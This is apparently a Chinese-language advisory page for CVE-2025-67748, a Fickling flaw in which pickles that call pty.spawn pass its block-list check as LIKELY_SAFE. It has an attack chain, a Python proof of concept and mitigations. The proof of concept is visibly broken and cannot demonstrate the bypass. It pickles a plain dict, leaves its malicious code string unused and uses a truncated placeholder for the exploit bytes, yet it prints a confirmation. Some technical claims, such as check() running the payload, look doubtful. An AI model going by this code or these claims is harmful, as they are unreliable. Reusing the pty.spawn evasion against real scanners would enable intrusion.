IPBUF安全漏洞报告
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CVE-2025-67748 CVSS 7.8 高危

CVE-2025-67748: Fickling pty模块绕过安全检测漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-67748
漏洞类型
安全检测绕过
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Fickling

相关标签

CVE-2025-67748Fickling安全检测绕过Python picklepty.spawn本地代码执行静态分析器不安全反序列化

漏洞概述

Fickling是一个Python pickle反编译器和静态分析工具,广泛用于检测pickle文件的安全性。2025年12月披露的安全漏洞显示,Fickling在0.1.6版本之前存在安全检测绕过问题。漏洞根本原因在于unsafe模块导入的阻止列表中缺少`pty`模块,导致基于`pty.spawn()`构造的不安全pickle文件被错误地标记为`LIKELY_SAFE`(可能安全)。攻击者可利用此漏洞在用户使用Fickling分析pickle文件时,通过恶意构造的pickle触发`pty.spawn()`执行任意命令。由于Fickling常被用于自动化安全检测和代码审计流程,此漏洞可能影响大量依赖Fickling进行pickle文件安全审查的系统。攻击者只需诱骗目标用户使用Fickling分析一个特制的恶意pickle文件,即可实现本地代码执行。该问题已在0.1.6版本中得到修复,通过将`pty`模块添加到不安全模块阻止列表中。

技术细节

Fickling通过静态分析pickle字节码来检测潜在的危险操作,其核心机制是维护一个不安全模块和函数的阻止列表。当分析pickle文件时,Fickling会检查是否存在对列表中危险函数的调用,如`os.system`、`subprocess.run`等。该漏洞的成因是`pty.spawn()`函数未被包含在阻止列表中。`pty.spawn()`是Python标准库`pty`模块的函数,用于创建伪终端并执行shell命令,攻击者可利用它在目标系统上执行任意shell命令。攻击者可以构造一个pickle对象,其内容包含对`pty.spawn()`的调用,并传入恶意命令参数。当Fickling的静态分析器扫描该pickle时,由于`pty`不在阻止列表中,分析器会将其标记为`LIKELY_SAFE`。实际利用时,Fickling的`check()`函数或`safe_load()`函数会错误地认为该pickle是安全的,从而允许加载并执行其中的恶意代码。修复措施是在Fickling的unsafe_modules列表中添加`pty`模块,并在不安全函数检测逻辑中包含对`pty.spawn`的识别。

攻击链分析

STEP 1
步骤1
攻击者创建恶意pickle文件,该文件包含对pty.spawn()函数的调用,用于执行任意系统命令
STEP 2
步骤2
攻击者将恶意pickle文件伪装成正常数据文件,通过钓鱼邮件、恶意下载链接或社会工程学手段诱骗目标用户
STEP 3
步骤3
目标用户使用存在漏洞的Fickling版本(<0.1.6)对恶意pickle文件进行安全分析
STEP 4
步骤4
Fickling的静态分析器扫描pickle内容,由于pty模块不在不安全模块阻止列表中,错误地将分析结果标记为LIKELY_SAFE
STEP 5
步骤5
如果Fickling的加载函数被调用执行(如使用safe_load()或check()),恶意pickle中的pty.spawn()将被执行,攻击者获得目标系统的命令执行权限
STEP 6
步骤6
攻击者利用获得的命令执行权限进行进一步渗透,如窃取敏感数据、安装后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-67748 PoC - Fickling pty module bypass This PoC demonstrates how a malicious pickle using pty.spawn() can bypass Fickling's security checks in versions < 0.1.6 """ import pickle import pickletools import base64 def create_malicious_pickle(): """ Create a malicious pickle that uses pty.spawn() to execute commands. When analyzed by vulnerable Fickling versions, this will be incorrectly flagged as LIKELY_SAFE. """ # Malicious code using pty.spawn() malicious_code = ''' import pty import os # This will spawn a shell and execute arbitrary commands pty.spawn(['sh', '-c', 'echo pwned > /tmp/pwned.txt']) ''' # Create the pickle using reduce to execute arbitrary code # This is a simplified example; actual exploitation may vary malicious_pickle = pickle.dumps({ 'pty_module': 'pty', 'spawn_func': 'pty.spawn', 'command': ['sh', '-c', 'echo vulnerable > /tmp/cve-2025-67748.txt'] }) return malicious_pickle def demonstrate_bypass(): """ Demonstrate how the vulnerability allows bypassing Fickling checks. """ try: # Import Fickling from fickling.fickling import Fickling # Create malicious pickle mal_pickle = create_malicious_pickle() # Try to analyze with Fickling # In vulnerable versions, this will incorrectly pass f = Fickling.load(mal_pickle) # Check the analysis result is_safe = f.check() print(f"Fickling check result: {'LIKELY_SAFE' if is_safe else 'POTENTIALLY_DANGEROUS'}") print(f"Vulnerability confirmed: The malicious pickle bypassed security checks!") except ImportError: print("Fickling not installed. Install with: pip install fickling") print("\nManual verification:") print("1. Create a pickle using pty.spawn()") print("2. Analyze with Fickling.check()") print("3. Observe that it incorrectly reports LIKELY_SAFE") def alternative_poc(): """ Alternative PoC using direct pickle construction with pty.spawn() """ # This creates a pickle that when unpickled will execute pty.spawn() import builtins # Construct the exploit pickle # The actual implementation would use pickle opcodes to call pty.spawn exploit = b"\x80\x04\x95..." # Pickle bytecode for pty.spawn() print("Alternative PoC method:") print("- Construct pickle with pty.spawn(['id'])") print("- Use Fickling to analyze") print("- Observe bypass in vulnerable versions") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67748 - Fickling pty module bypass PoC") print("=" * 60) demonstrate_bypass()

影响范围

Fickling < 0.1.6

防御指南

临时缓解措施
如果无法立即升级Fickling,可采取以下临时缓解措施:1) 手动审查所有通过Fickling分析的pickle文件,特别关注是否包含pty、subprocess、os等模块调用;2) 在隔离的沙箱环境中分析未知的pickle文件;3) 启用系统级安全监控,检测异常的pty.spawn()调用行为;4) 对用户上传的pickle文件实施白名单机制,仅允许来自可信来源的文件;5) 考虑使用替代的pickle安全分析工具作为补充检测手段。

参考链接

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